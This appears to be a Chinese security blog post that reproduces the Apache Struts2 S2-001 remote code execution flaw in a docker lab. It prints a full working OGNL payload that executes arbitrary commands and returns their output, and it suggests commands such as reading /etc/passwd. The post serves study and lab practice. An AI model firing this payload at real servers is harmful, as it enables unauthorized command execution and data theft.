复现S2-001:远程代码执行


Apache Struts2 远程代码执行漏洞

Xx 漏洞介绍

Apache Struts2有很多漏洞,该漏洞因为用户提交表单数据并且验证失败时,后端会将用户之前提交的参数值使用 OGNL 表达式 %{value} 进行解析,然后重新填充到对应的表单数据中。例如注册或登录页面,提交失败后端一般会默认返回之前提交的数据,由于后端使用 %{value} 对提交的数据执行了一次 OGNL 表达式解析,所以可以直接构造 Payload 进行命令执行。

Ax 搭建漏洞环境

使用docker-compose快速搭建环境。

在虚拟机里启动后,就可以访问该IP:8080

Bx 验证

在账号或密码处输入%{1+1},得结果2,这样就验证了此处有S2-001漏洞。

Cx 利用

构建payload,实现任意远程代码执行。

%{ #a=(new java.lang.ProcessBuilder(new java.lang.String[]{“CMD”,”CMD”})).redirectErrorStream(true).start(), #b=#a.getInputStream(), #c=new java.io.InputStreamReader(#b), #d=new java.io.BufferedReader(#c), #e=new char[50000], #d.read(#e), #f=#context.get(“com.opensymphony.xwork2.dispatcher.HttpServletResponse”), #f.getWriter().println(new java.lang.String(#e)), #f.getWriter().flush(),#f.getWriter().close() }

new java.lang.String[]{"CMD","CMD"}处,可替换需要执行的命令

例如,执行ls命令,第二个参数查看根目录下的文件(/)

查看用户密码

cat /etc/passwd

查看你所需要的一切

uname -a 查看内核版本

cat /proc/meminfo 内存详细信息

这里就随意发挥,需要Linux的熟悉程度,就可以得到你需要的任何信息。

Dx 声明

  • 请遵守,爱护《中华人民共和国网络安全法》
  • 仅供学习参考!
  • 请注明出处!

Ex 参考

[1] http://www.adminxt.com/?p=28

[2] http://vulapps.evalbug.com/s_struts2_s2-001/

[3] https://cwiki.apache.org/confluence/display/WW/S2-001

[4] https://idc.wanyunshuju.com/aqld/1919.html

[5] https://www.pianshen.com/article/78791070381/


文章作者: Enomothem
版权声明: 本博客所有文章除特别声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 Enomothem !
  目录